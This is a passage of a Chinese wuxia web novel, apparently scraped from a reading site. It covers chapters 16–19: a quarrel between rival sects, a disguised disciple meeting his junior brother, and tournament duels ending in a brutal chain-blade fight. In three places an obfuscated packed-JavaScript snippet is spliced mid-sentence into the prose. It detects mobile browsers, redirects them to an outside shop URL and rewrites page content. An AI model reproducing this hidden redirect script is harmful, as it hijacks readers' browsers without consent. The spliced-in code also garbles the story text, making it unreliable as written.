越子游脑筋转得不如别人快,慢了半拍才反应过来,顿时气得七窍生烟,“你……!慕容暝,你这是在骂我是无名小卒?!你竟敢如此羞辱我北阙宗!”说罢,越子游将手放在了腰间佩刀的刀柄上,竟是被气得要拔刀动武了。 萧迢看到他的动作,面色一沉,上前一步护在慕容暝身前,虽说他此时无刀在手,周身却乍然涌现出凛然锐气,锋芒毕现,气势慑人。 萧迢冷肃道:“我不知是在哪里得罪过你,但你有什么不满都请冲着我来,不要迁怒于慕容少主。而且,你别忘了,这里是问剑谷,不是北阙宗。” 慕容暝拍了拍萧迢肩膀,示意他不必动怒,对越子游道:“我绝无对北阙宗不敬之意。昔年萧琮宗主名震江湖,他的刀法令我见之难忘,我一直铭记在心、尊敬非常。可惜萧琮宗主身故之 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萧迢撤回了手,模样普通的假脸上阴沉愠怒,他道:“嘴里给我放干净些,要是学不会说话,下半辈子也不必再说了。” 萧迢竟然用掌风隔空打了越子游一个耳光。 越子游脸上疼如火燎,口中漫上一阵腥甜,面目逐渐扭曲可憎:“你!……” 实在是太熟悉了……这种让人恨得牙痒痒、却又让他无可奈何的憋屈感,他这辈子只在一个人的身上体会到过。 ——萧迢。 慕容暝并未料到萧迢会突然出手,亦是一惊,她不愿事态进一步扩大,先声夺人,对丹心吩咐道:“丹心,天色不早了,带北阙宗的各位贵客入谷休息吧,再将谷中最好的伤药取来给越少侠。” 这一耳光的事,可大可小,全看徐秉山要不要发作。她已经给徐秉山递了台阶,表明了她不想再计较此事,如果徐秉山也想要息事宁人,最好顺着台阶下来,两方便可相安无事。 “是,少主。”丹心心领神会,干脆利落地应下,对徐秉山道:“徐宗主,请随我来吧。” 徐秉山人精一个,自然明白慕容暝的意思,借坡下驴道:“今日是子游唐突了,慕容少主容人有度,还望少主不要与他计较。” 慕容暝道:“当然。” 越子游捂着脸,还想再说些什么,被徐秉山飞来一记眼刀将他的话通通摁回了肚子里。 待慕容暝和萧迢一并离去,越子游这才压低声音急切道:“师父,您怎能如此轻易放过他们?” 徐秉山斜睨了越子游一眼,只叹自己怎会有这么个莽撞误事的徒弟。 在场众人看到了前因后果,都知道是越子游出言不逊在先,挨这一耳光属实不冤。而慕容暝和那个身份可疑的男人从头到尾也只针对越子游一人,没有将北阙宗其余人牵涉进去,他身为宗主,代表着整个北阙宗的立场,又怎好公然和慕容暝翻脸? 徐秉山道:“我们已经落了下风,此处人多眼杂,你再闹下去只会让人觉得我北阙宗不成体统!无妨,集英大会还要召开好些日,总会再有机会的……” 17.集英盛会4 慕容暝和萧迢一同步入问剑谷内,二人并肩而行,各自沉默着。 一道犹疑不定的声音自慕容暝和萧迢身后响起:“师兄……?” 萧迢脚步一顿,却没有回头。慕容暝发觉了他的异样,回身看去,只见是方才北阙宗队伍最末的那个少年。他看起来只有十三四岁的年纪,浓眉大眼,相貌周正,有着属于少年的青涩稚气。 这少年不知何时从北阙宗的队伍里偷跑了出来,寻到了慕容暝和萧迢这边。此刻,他正紧紧凝望着萧迢的背影,神情间蕴藏着小心翼翼的期许。 少年对慕容暝行了一礼,道:“慕容少主。” 慕容暝道:“我记得你,你是北阙宗的弟子。” 少年腼腆回道:“是。我叫萧还,是北阙宗的内门弟子。” 这少年也姓萧?慕容暝回想起他刚刚唤的那一声师兄,恍然悟了,这个少年就是萧琮宗主的另一位亲传弟子,也是萧迢的嫡亲师弟。 慕容暝默然看向身旁的萧迢,见他目光黯然,表情五味杂陈。须臾,他轻叹一声,终于回过身来,将声线压得低沉,道:“你认错人了,我并非是你口中的什么师兄。” 萧还闻言,眼中希冀的光陡然熄灭,失望道:“这样啊……对不起,是我错认了,你的背影和师兄实在太像了,我还以为……” 慕容暝的视线在这对师兄弟身上盘桓了片刻,对着萧还明知故问:“你口中的师兄,可是萧琮宗主的亲传弟子萧迢?” 萧还点头道:“是,自从师父……之后,师兄他已经失踪很久了。” 萧还刻意略过了“去世”二字。就算已经过去了数月,那件事依然是他心中一道迈不过去的坎,他在避讳着,似乎他只要不将那个词说出口,师父就还好端端的活着,只是去了一个很遥远的地方隐居,再也不回来罢了。 慕容暝道:“你很想找到你的师兄?” “……当然!师兄就像我的亲哥哥一般,我很想知道他现在是否还安好。” 萧还越说越伤心,眼底隐约浮起泪光。他低下了头,尽力憋着眼泪,要是被外人看到他因为想念师兄哭了鼻子,那可就太丢脸了。 慕容暝见他这副可怜兮兮的样子,于心不忍。他的师父一朝遇害,师兄又生死未卜,留他独自一人在北阙宗里,这段日子想必过得殊为不易。 慕容暝缓和了语气,宽慰道:“北阙宗向各派都发了帖子,请求协助追捕你师兄。所以,没有他的消息反倒是好消息,说明他还没有被人抓着,至少性命无虞。” “嗯,慕容少主你说得对。”萧还吸了吸鼻子,振作精神,抬起头来又问道:“听慕容少主的话,你也相信师兄没有害师父吗?” 这师兄弟二人究竟怎么回事,一个两个都要来问她相不相信……?慕容暝心中哭笑不得,但还是耐着性子回道:“你和你师兄朝夕相处多年,他的为人你比我更清楚,你觉得会是他做的吗?” 萧还不假思索,疾言道:“绝对不是,我愿以我的性命为师兄作保!” 慕容暝看着萧还义愤填膺的小脸,微微一笑:“那就是了,真相是永远不会改变的,不论我相不相信。而你师兄也定会明白你对他的信任,即使你们不曾相见。” 萧还听着,眼泪还是不争气地夺眶而出,他抬起袖子胡乱擦了一把,又破涕为笑:“……我明白了,我会记着的,谢谢慕容少主!” 目送萧还离开后,慕容暝这才对萧迢道:“看得出来,他是真的很关心你。” 萧迢道:“以前,师父师娘经常一同外出去各地义诊,总是将我和师弟独自留在家里。那时师弟还小,可以说是我将师弟一手带大的,感情自然也深厚些。” “这样啊。”慕容暝应着,她听萧迢把师门称作家,脑中不由自主联想起了萧迢奶孩子的模样,又问道:“不去跟你师弟报个平安么?他若知道你平安无事,不会像现在这样难过。” “不必了,我如今这样的身份,不跟我扯上关系才能护他周全。”萧迢说罢,默然良久,忽而又开口道:“多谢。” 慕容暝被这没头没尾的一句多谢整得有些茫然:“谢什么?” “要谢你很多事。”萧迢轻笑起来,样貌普通的假脸也因这笑意陡生光彩,“师父死后,我已经很久没再听人提起他了,多谢你先前对越子游说的那番话,让我知道还有人记着他。” 萧迢顿了顿,接着道:“还有师弟的事。我现在无法与师弟相认,很多话不能亲口对他说,多谢你替我说了那些安慰他的话,让他心里能够好受些。” 慕容暝听罢,倒有些纳闷。她并不觉得自己做了什么值得让他感恩戴德的事,却没成想能让他这般谢了又谢。她一时词穷,不知该如何回应他的这一通感谢。 半晌,她才憋出干巴巴的一句:“不必言谢,我只是实话实说罢了。” === 三日后。 集英大会如期举行,各派众人齐聚问剑谷中的拭剑台举行大宴。问剑谷作为此次集英大会的东道主,慕容连衡和蓝令容端坐于高台首席,举杯应酬致意,宴上觥筹交错、歌舞升平,一派其乐融融。 大宴过后,万众瞩目的集英大会武擂便正式拉开序幕。 武擂这一环节,自集英大会初创时便已存在,流传至今。历来曾有许多新秀弟子于武擂上崭露头角,此后都成了宗门的中流砥柱或是赫赫有名的豪侠。正因如此,武擂一向都是集英大会的重头戏。 武擂为期三日,各派皆会选出一位年纪在十八至二十二岁之间的年轻弟子出战,一决高下。慕容暝今年恰好年满二十,当仁不让,代表问剑谷登擂出战。 武擂的第一日,由各派选手抽签进行两两对决。 慕容暝抽到的对手是一个小宗门的首席弟子。那首席弟子的实力其实不差,只可惜第一场便遇到慕容暝这样的劲敌,实在有些倒霉。他也很有自知之明,并未多作挣扎,很快就败下阵来。 “问剑谷,慕容暝胜——” 慕容暝结束比试,回到了自己的席位。她的席位设在擂台旁的一座小高台上,宽敞透亮,视野极好,绝对是观战的风水宝地。 慕容晴正坐在慕容暝的位子上啃着盘里的点心,大快朵颐。见到慕容暝回来,她赶忙放下手中点心,用帕子将指尖沾着的点心碎屑擦拭干净,起身道:“姐姐,第一场比试感觉如何?” 慕容暝将细雪剑放在桌旁,顺势坐下,应道:“这才第一轮,只是热身罢了,真正强劲的对手可都在后两日。” 慕容晴看到旁边有一个空着的席位,桌上摆放着的精致糕点纹丝未动,馋虫又开始作祟,她试探着问道:“姐姐,这是谁的位子?我能不能……” “不能,这是留给客人的位子,想吃我再让厨房给你新做一份。”慕容暝无情掐灭了慕容晴的想法,她正专注于拭剑台上的对决,头也不回地道:“再等等,他应该就快来了。” 慕容晴耷拉下脑袋:“好吧。” 众人皆知慕容暝实力强劲,方才那场比试的结果毫无悬念,并未在人群中掀起多大波澜,转眼间,众人又兴致勃勃地投入到了下一场比试之中。 下一场比试的二位选手已经站上了擂台,只见拳宗弟子唐烈和一位青衫男子对立着,二人相互抱拳一礼:“请指教。” 随着裁判敲响铜锣的一瞬,青衫男子先发制人,身形一闪便向着唐烈的方向而去。唐烈见状,不紧不慢地将马步一扎,竟杵在原地动也不动。 青衫男子得意一笑,他的速度是他最引以为傲的本事,同辈弟子中极少有人能匹敌。他只当唐烈自知躲闪不开,破罐子破摔,无计可施才傻站在原地。 青衫男子也确实有骄傲的资本,他速度极快,转眼已至唐烈近前,手中匕首寒光乍现,直直刺向唐烈要害。 电光石火间,唐烈眼中精光一现,迎着青衫男子的攻势猛然出拳,似乎全然不在意那对向他袭来的匕首。 观战众人看到,在唐烈出拳的刹那,青衫男子却突然收起原本的凌厉攻势,连连撤步向后退去,步履间竟有些慌乱无措之感。 这一幕让所有人心生疑惑,议论纷纷,慕容晴也纳闷道:“这人好奇怪,明明占尽了先机,而唐烈也全然没有防备,刚才他只要再向前一步便能伤了唐烈,为什么突然将大好的机会白白放弃了?” 慕容暝道:“因为他再不退,性命就要不保了。” 台下众人不明所以,台上的青衫男子正在心中叫苦不迭。在唐烈出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148554|194806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拳的那一瞬,他的匕首生了怯意,再也无法前进半分,那是一种实力碾压的强悍威慑——唐烈不是无法躲避他的进攻,而是根本没必要躲! 唐烈见那青衫男子急急后退,哂笑一声,立即提步追击。慕容暝看着,心中赞叹,她原以为,以唐烈那如同小山一般壮硕的体型,敏捷程度定会有所欠缺,但此时一看,唐烈的速度竟比青衫男子还要快上些许。 青衫男子见躲避不及,只得双臂交叉护至身前,结结实实挨了唐烈一拳。青衫男子的身躯好似一口被人从嘴里吐出的唾沫,登时从拭剑台上飞射出去,重重砸在地上,狂吐鲜血,不省人事。 一拳定胜负,唐烈似是觉得还没打过瘾,示威般挥拳砸向地面,一声霹雳巨响,拭剑台的石制地面上赫然平添一道明显的裂壑。 拭剑台旁,负责武擂执事的江尧扶额一叹:“力大如牛还不知收敛,真不怕闹出人命啊。” 江尧早知唐烈是个下手没轻重的,未雨绸缪提前候在了一旁,此刻领着几名弟子,颇为怜悯地将青衫男子搬上担架,遣人送去医所救治了。 “这还是人吗……”慕容晴瞠目结舌,旋即扭头对慕容暝嚷道:“姐姐,他把我们的拭剑台都砸烂了,这不得让他赔钱?!” “嗯,修缮费用记在拳宗账上。”慕容暝随口应下,心中惊异于唐烈霸道刚猛的力量,她注意到唐烈手上戴着的拳套非比寻常,喃喃道:“这拳套貌似有些玄机。” “那副拳套是拳宗的镇派之宝‘掣天地’,能强化使用者的气劲力道,而唐烈本就是天生神力,再配上这掣天地,更是恐怖。” 一道熟悉的声音从慕容暝身后传来,慕容暝侧首看去,见到了萧迢易容过后的脸。 萧迢今日刻意避开了前头的开幕宴席,免得又和北阙宗的人打照面,武擂开始后才姗姗来迟到了席间。 萧迢十分自然地落座在慕容暝预留的空位上,慕容晴见先前在山门外和北阙宗闹起来的男子忽然出现,惊呼道:“怎么是你……姐姐,原来这个位置你是特意留给他的啊!” 慕容暝:“正是。” 慕容暝听到萧迢所言,对唐烈的拳套颇感兴趣,便同他聊了起来:“我听说这拳宗的镇派之宝是有两副拳套,另一副可是在唐烈的师兄方止桓手上?” 萧迢点头道:“不错,方止桓手上那个唤作‘覆乾坤’,可以将对手招式中的气力卸除后反击给对方,遇强则强,遇弱则弱。” 慕容晴也在认真听着二人的对话,她本就痴迷于研究这些机关器物,这下专业对口,举手提问:“照这个说法,唐烈遇上那个方止桓岂不是束手无策了?” “所以拳宗弟子的第一高手才是方止桓,而不是唐烈。”萧迢略带打趣地回复道,“不过覆乾坤的使用及其讲究时机,需要准确无误抓住对手的破绽。唐烈性子粗放,并不合适,只有方止桓那样沉着冷静、心思缜密之人,才能将覆乾坤发挥到极致。” 慕容暝同样认可萧迢的看法,若有所思地点了点头,又问道:“拳宗的这些事,你是如何知道得这么清楚的?” 萧迢道:“慕容少主可曾听说过,我们北阙宗开山祖师是铁匠出身,手中曾铸造过许多神兵利器,最后祖师他老人家撰写出了一本锻器谱,里面记载着江湖上许多叫得上名号的兵器。” 慕容暝道:“当然知道,相传锻器谱由北阙宗的历任宗主传承续写,如此延续了上百年,天下名兵尽皆在册,很是可佩。” “锻器谱!”慕容晴瞬间亮起了星星眼,“说它是兵刃第一奇书也不为过,我一直都想能亲眼看看锻器谱,朝闻道夕死……呃,死还是不可以的。” 慕容暝和萧迢被她逗得齐齐一笑,萧迢接着道:“我曾看过锻器谱,里头对掣天地和覆乾坤有着详细记录。而我师父和拳宗宗主私交甚笃,两派常有往来,方止桓和唐烈也经常随拳宗宗主到北阙宗做客,所以对他们有些了解。” 慕容暝道:“原来如此。你以前可有和方止桓唐烈二人比试过?” 萧迢点头道:“是有比过的。” 慕容暝又问:“谁胜了?” 萧迢说得轻描淡写:“他俩空手接白刃的功夫还没练到家,接不住我的刀,最后是我险胜一筹。” 18.集英盛会5 武擂第二日,慕容暝抽签抽到的对手是影绝宫的冷如烟。 前一日的擂台已将那些实力欠佳的弟子淘汰出局,余下的选手皆实力不俗,不可小觑。慕容暝来到拭剑台时,瞧见擂台上越子游正和唐烈战得不可开交,局面已近白热化。 擂台底下的观众们看着这胶着局势,更是心焦难耐。慕容暝知道武擂观赛有押注的习俗,台上比试的两人都是炙手可热的夺魁人选,拥趸者众多,此战过后,只怕要让好些人赔上许多银子了。 这时,慕容暝注意到冷如烟也在不远处观战。冷如烟身着玄黑色修身劲装,天生微卷的黑发在脑后用簪子简单束起,自然干练,她神情冷然,但一双眸子偏偏又生得媚眼含情,倒是有种独特的冷艳之美。 冷如烟是影绝宫的一等弟子……或者说一等杀手。影绝宫明面上称作江湖门派,实则是个不折不扣的杀手组织,弟子们都是按照杀手的标准进行培养,并对外接取暗杀委托,但又秉持着接单有道的原则,从来只杀不忠不义、恶贯满盈之人,也称得上正派。 往年里,影绝宫是从不参与集英大会的,只因影绝宫宫主认为杀手就要有杀手的神秘孤傲,当众打擂有损杀手的格调。可这几年影绝宫业务量下滑严重,进项锐减,手底下一群杀手嗷嗷待哺等着发工钱,宫主实在是没辙了,只能让冷如烟来参加今年的集英大会,借此机会为影绝宫做做宣传,招揽生意。 冷如烟敏锐察觉到了慕容暝的视线,扭头朝慕容暝所在的看台望了过来,慕容暝便朝她微微颔首,算是打了招呼。冷如烟一愣,似是没想到慕容暝会主动向她致意,旋即,她朝慕容暝回了一个微笑,那双媚眼随着她的笑容弯弯似新月,煞是动人,倒不像看起来那样冷淡。 慕容暝周遭的人群七嘴八舌讨论起来,将她的注意力引了过去。 “他们这都打了多久了,究竟几时才能分出个胜负啊?给我眼睛都看酸了。” “要我看,唐烈撑不了太久了,最后肯定是越子游胜。” “这是为何?” “唐烈拳路霸道,胜在爆发力惊人,这样的路数通常是做不了持久战的。不信你们瞧,唐烈的脸色那么难看,招式间也露出疲态,力量显然不如昨天那般骇人,我看已经是强弩之末了。” “……果然如此!而越子游出招稳当,虽一时无法彻底压制住唐烈,但瞧着倒有越战越勇之势。” 慕容暝留心听着身旁观赛众人的分析,对于唐烈的异样表现,她早知晓了事情的来龙去脉,心里跟明镜似的,不免暗自好笑。 唐烈此刻脸色如此难看,倒不全是因为越子游。拳宗地处西北,与问剑谷相隔甚远,饮食习惯差异极大,唐烈昨晚突然水土不服,上下齐齐如泄洪一般开了闸,苦熬了大半夜,急得同行的拳宗宗主慌忙跑去谷中的医所为爱徒求药。服过药后,唐烈总算不再上吐下泻,可腹中仍旧是阵阵绞痛,搅得他面如菜色,很是萎靡。 也幸亏唐烈早早服了药,不然今日的擂台怕是要变成茅房了。 唐烈只叹自己的运气怎么如此之背,先是水土不服,而抽中的对手竟还是他最讨厌的越子游!唐烈顿时产生了一种天要绝我之感,拳风颇有些歇斯底里。 越子游手中的银色长刀“霆动”越挥越猛,唐烈身体抱恙,终究还是力有不逮,出拳也出得不利索了,一顿瞻前顾后,还要使劲绷着某处不能泄力。若是传出什么难以解释的气味或声响,以越子游的为人,定会敲锣打鼓宣扬出去让他难堪的,到时候他可就丢脸丢大发了。 唐烈刚挥出一拳,腹中又是一阵剧痛袭来,这一次的痛感及其鲜明强烈,从腹部一路朝着尾椎骨散射蔓延,连带着后头一阵呼之欲出的喷薄冲动。 唐烈面色陡然剧变,疾呼一声:“不好!” 越子游忽然见眼前的唐烈惨无人色,表情痛苦难言,还以为是自己的实力强悍如斯,竟让唐烈也露出这副仓皇骇然的模样,不由得更加猖狂,道:“唐烈,你平日里不是张狂得很么,我看明明也不过如此!” 说着,越子游手中的霆动挥舞生风,势如破竹,向着唐烈寸寸逼近。 在打赢越子游和保全做人的尊严之间,唐烈毫不犹豫选择了后者。他聚精会神于后头那处,拼尽全力收缩而起,将那汹涌之意尽数憋了回去。而唐烈停滞的这一下,直接朝越子游露了好大一个破绽,他抓准时机,霆动的刀刃瞬息间已经来到了唐烈颈侧,堪堪停下。 胜负已定。 唐烈感受着腹中的汹涌逐渐平息,所幸只是虚晃一枪,没有酿成惨案。半晌后,唐烈缓缓直起身来,带着几分劫后余生的松快,眼中虽有不甘,还是朝越子游抱拳道:“行吧,是你赢了。” “北阙宗,越子游胜——!” 众人还没从刚刚那惊险的一幕中缓过神来,不只是谁先起头叫了声好,众人这才后知后觉地纷纷附和,喝彩一片。 越子游将刀收起,听着台下的喝彩声,气焰逐渐嚣张,对唐烈露出了一个不加掩饰的轻蔑笑意。 唐烈见他如此挑衅自己,额角青筋暴起,突突直跳:“要不是我今日……啧,算了。” 唐烈从前随师父去北阙宗时就看越子游不爽,此刻见他这副小人得志的模样,将后槽牙咬得咯吱作响,恨不能立刻抬手朝他那贱兮兮的脸上抡去一拳。 众目睽睽之下,师门的脸面还是得维护,唐烈强忍下这口气,而后忽然想到了什么,却是笑道:“不得不说,你和你师兄萧迢比起来,还是差了不少,不论是武功还是做人……也就是萧迢出了那档子事,离开了北阙宗,否则这次的集英大会哪能轮得到你登上武擂。” 越子游闻言,如同嘴里飞进了一只苍蝇,原先的得意之色倏然消失,转为满面阴霾,被他收回刀鞘的霆动险些又要拔出,道:“唐烈,你大爷的在说些什么?!萧迢早已经被北阙宗除名,算我哪门子的师兄,我才是北阙宗弟子中的第一人!” 唐烈腹中绞痛难当,嘴上也愈发狠毒:“是呀,萧迢走了你才轮得上第一,以前可不就是万年老二吗!” 越子游:“唐烈……我看你是找死!” 唐烈知道萧迢是越子游的雷点,一戳必爆,这下他如愿以偿见到了越子游暴怒的表情,不禁畅快大笑,原本输给越子游的满腔郁结也一扫而空,实在痛快。 也不等越子游继续发作,唐烈一溜烟蹿下了擂台,寻茅房去也。 此时的萧迢并不知道自己正处于台上二人的风暴中心,他虽和越子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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慕容晴不禁感慨道:“这就是杀手组织吗,真是严格啊。” 居然是因为这么务实的理由?慕容暝亦暗自腹诽。她见萧迢神情认真,不似玩笑,应道:“我知道了,我会小心的,不过为何要特意告诉我这个?” 萧迢闻言,蓦然笑了,明明顶着一张相貌普通的假脸,笑意仍然灿若朝阳:“……就当我是为了不让自己和二小姐赔钱吧。” “下一场,问剑谷慕容暝对战影绝宫冷如烟——!” 话音一落,全场哗然。一位是大名鼎鼎的雪无常,另一位是神秘莫测的影绝宫高手,这场强强对决足以吊起在场所有人的胃口,大饱眼福了。 慕容暝拿起细雪剑从座上起身,正要前往擂台,萧迢突然唤住她,道:“慕容少主,刚刚那句是玩笑话,尽力而为就好,不必为了输赢勉强自己,钱赔光了也没关系的。” 慕容晴点头附和:“是啊姐姐,我们下注是为了支持你,不是想让你为我们赢回什么,你平安无事才是最要紧的。” 慕容暝听到了二人的话,她停下脚步,微微侧过了头,只云淡风轻地道: “你们俩,记得把赢来的钱分我一半。” 19.集英盛会6 慕容暝飞身跃上擂台,冷如烟早已等候在此,她见到慕容暝,莞尔一笑:“刚才还在台下见到少主,没想到我们这么快就成了对手,真是有缘。” 慕容暝道:“久闻冷姑娘多年蝉联影绝宫恶贯满盈榜前三甲 ,今日能够领教,是我之幸。” 恶贯满盈榜,通俗些说就是影绝宫内的杀手业绩榜单,此处的恶贯满盈也并不是平常的意思,而是恶人的恶、贯穿的贯。杀手完成的暗杀委托数量越多,排名也就越靠前,也就代表杀手的实力越强。 冷如烟笑道:“没想到慕容少主还知道我们影绝宫的事。我也久仰少主大名,能与少主切磋,亦是我的荣幸。” 两人相对而立,抱拳一礼,一人拔剑一人亮刀,蓄势待发,只待裁判敲响铜锣。 慕容暝记着萧迢对她的叮嘱,悄然打量起了冷如烟手中那把名叫螭吻的双头刀。 螭吻细窄修长,几乎与冷如烟身量等长,整副刀身呈优美的流线型,两端的月牙刃锐利无匹,隐生寒芒。想必冷如烟平日里就是用这对刀刃割断许多暗杀目标的喉咙,送他们去见了阎王。 慕容暝单看着螭吻的外表,并没有发觉什么奇特之处,倒不知螭吻的玄机究竟藏在哪里。 裁判手中高扬的锣槌落下,正中铜锣锣心:“比试开始——!” “慕容少主,小心了!” 铜锣声响的刹那,冷如烟身形一动,如鬼魅般向慕容暝趋近,速度快到难以用肉眼追寻,只余一道模糊残影。 “好快……!”慕容暝不及多想,提起轻功拔腿便闪,二人在擂台上表演了一出你追我赶的戏码。 双头刀不是常见的兵刃,螭吻在冷如烟的手中旋舞生花,行刀诡谲,如星月斗转,织成一片滴水不漏的圆弧刀阵,极富观赏性的美感与随时夺人性命的危险融合得妙到毫巅。 慕容暝心中叹为观止,想着若是冷如烟日后改行不做杀手,单凭这一手耍刀花的手艺,也定能赚得盆满钵满。 在和冷如烟交锋数十招后,慕容暝逐渐摸清了冷如烟的招式路数。冷如烟身为杀手,走的是一击毙命的路数,关窍便是快准狠这三字箴言,她并不轻易出刀,但只要慕容暝动作间显露出分毫破绽,螭吻便会霎时出击,绝无犹疑。 慕容暝丝毫不敢懈怠,她原是故意卖些破绽引诱冷如烟攻击,借机看清她的招式,但好几次都险些让冷如烟得逞。慕容暝不欲再多做试探,全力以对冷如烟那密不透风的攻势。 台下众人应接不暇,连她们二人的身影都看不真切,只觉得擂台上一片刀光剑影甚是骇人,战局之险峻可想而知,只怕一不留神身上就要添伤。 “这......完全看不清啊,谁眼神好的能不能讲解一下啊?” 有人捏紧了手里的押注凭票,后悔道:“还能去取消刚刚下的注吗?……心脏实在受不住了!” “都别嚷嚷,专心些看,越是这种时候就越不能分神!” 萧迢听着众人的议论,目光紧紧追随着擂台上那道执剑的碧色身影,脸上的表情并不轻松,似乎他此刻就在擂台上,和慕容暝共同经历了这一遭。 慕容晴不擅武功,是个外行人,她只知慕容暝和冷如烟正打得难分难解,一片眼花缭乱。她瞧见萧迢略显凝重的神情,问道:“怎么了,这位冷姑娘很难对付么?” “嗯。”萧迢沉吟片刻,点了点头,“她是个很厉害的对手。” 擂台上,慕容暝也是同样凝重,她此时虽并未落下风,能和冷如烟打得平分秋色,但是她知道冷如烟还藏着一个杀手锏没有使出——萧迢所说的那个千万小心。 为何冷如烟迟迟没有动用她的杀手锏,难道她认为此时的处境还未到需要使出那招的地步么?念及此处,慕容暝心下一沉,今日这场仗怕是比她所想的更为艰难。 与此同时,对面的冷如烟同样也不好过。她的速度在影绝宫这种杀手云集的地方已是翘楚,没想到慕容暝丝毫不输给她,而且慕容暝的剑极难捉摸,看似漫不经心般随意挥挑,实则无懈可击,叫她难寻一丝破绽。 冷如烟在等,等一个恰到好处的时机,用那招杀慕容暝一个措手不及。 “慕容少主,你很不错。”打斗中,冷如烟仍不忘夸赞慕容暝一句,又补充道:“不过……如果只有这种程度,想要胜我,还远远不够。” 慕容暝剑上攻势不减,淡淡应道:“冷姑娘,这激将法用得有些老套了,有什么招使出来便是。” 冷如烟一噎,她没想到慕容暝简直软硬不吃,情绪稳当似块朽木顽石,反倒是她自己先耐不住了。她清喝一声,道:“那好,今日便让少主见识见识我这一招!” 说罢,冷如烟眼中锐芒一凛,手中螭吻朝慕容暝突刺而来,就在刀刃迫近慕容暝身前的一瞬,她手中微动,螭吻从中一分为二,瞬间被拆分成一对双刀!冷如烟将其中一柄刀攻向慕容暝脖颈的要害处,慕容暝下意识挥剑格挡,与此同时,另一柄刀迅疾如电,直取慕容暝心口。 慕容暝暗自心惊,剑到用时方恨少,如此近的距离之下,一把剑对付两柄刀实在捉襟见肘,她此时再收剑挡下另一柄刀已然来不及了。电光石火间,慕容暝果断后撤一步,纵身后翻拉开了二人之间的距离。 冷如烟见状,得逞一笑:“就知道你会这么躲……” 她抓准了慕容暝后翻时滞留半空的破绽,果断启动隐藏在刀柄上的机关,只见那刀刃顷刻间脱离刀柄,朝慕容暝飞射而去,而刀刃和刀柄间以一条金属锁链连结,形似蝎尾。 慕容暝腾于半空,冷如烟此时恰巧处于她的盲区,她无法看清冷如烟的动作,感到有什么东西缠上了她的左臂,紧接着,一股大力将她扯下拖拽过去。 慕容暝只见眼前刀光一晃而过,心知冷如烟的刀在那处恭候着她,顾不上多想,凭直觉将身子如鱼跃般一旋,堪堪躲过冷如烟这致命一刀。 冷如烟见慕容暝竟然躲过了她这百试百灵的杀招,不免有些气馁,冷哼一声:“慕容少主的反应还真是迅速,不过……可还没结束呢!” 话音未落,冷如烟手腕一振,缠于慕容暝左臂上的锁链得寸进尺,如蝎尾般灵活地攀附缠绕,旋即,冷如烟将手骤然收紧,那链子牢牢锁在了慕容暝的手臂上。 “唔……!” 左臂一阵钻心剧痛接踵而至,令她不由自主闷哼出声。她这才看清,那锁链之上,布满了细密的金属倒钩,那些倒钩随着冷如烟的动作深深嵌进她的手臂,每每挪动分毫,那倒钩便会刮走她的些许血肉。 原来这就是螭吻的玄机所在,它不仅仅是一把双头刀,更是一对堪称刑具的链刃! 汩汩鲜血瞬间洇红了慕容暝的衣袖,触目惊心,一时间,观赛席上的惊呼声此起彼伏,不绝于耳。 慕容晴哪还沉得住气,几欲掀桌而起,骇然失声道:“姐姐!” 萧迢同样将那抹刺目的红看在眼中,虽不发一语,但早已攥紧了手中的茶盏,眼神中俱是担忧之色。 擂台上,冷如烟悠然问道:“怎样,慕容少主,是不是痛极了?” 冷如烟说得不错,她确实是痛极了,那些倒钩如同猎犬的一嘴尖牙死咬着不放,嵌入血肉的感觉是那么鲜明,她甚至能感受到每一根倒勾的形状,叫嚣着要吵醒她每一根痛觉神经。 一滴冷汗顺着慕容暝的额角蜿蜒滑落,她早已习惯了对敌人隐藏自己的痛苦,硬是强忍着一声不吭,没有半分要服软的意思,同冷如烟无声僵持着。 冷如烟言笑晏晏,就好像下手如此狠辣的人并非是她,还十分好心地替慕容暝想好了退路:“慕容少主,你若主动认输,我就松了这链刃,让你少吃些苦头,若是不肯……到时候你这只手还保不保得住,我可不敢说。” 慕容暝闻言,蓦地抬眸直视向冷如烟,一双眼中似有重明烈燚,她抵着剧痛狠狠挤出一句:“……让我认输?下辈子也没可能!” 她此生最恨的,便是受制于人的无能为力之感。以前是她不够强大,无力反抗,如今她已有剑在手,若还能再受人要挟,那她的这一身剑法,可就全学到狗肚子里了! 慕容暝的斗志被冷如烟的“认输”二字彻底激发,她破釜沉舟,非但不理会锁在她手臂上的链刃,反而将左手手臂顺势翻转,以此为着力点,反手抓着冷如烟的锁链猛然一拽。 冷如烟完全没料想到慕容暝会如此动作,猝不及防,被慕容暝拽得向前踉跄了一步,瞬间拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183983|194806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进了两人之间的距离。 慕容暝的左手紧紧攥在锁链上,掌心早已被链刃划破,血流如注,深可见骨,一整条左手手臂惨不忍睹,但她却仿佛感受不到疼痛一般,用未被冷如烟挟制的右手挥剑奋力攻去。 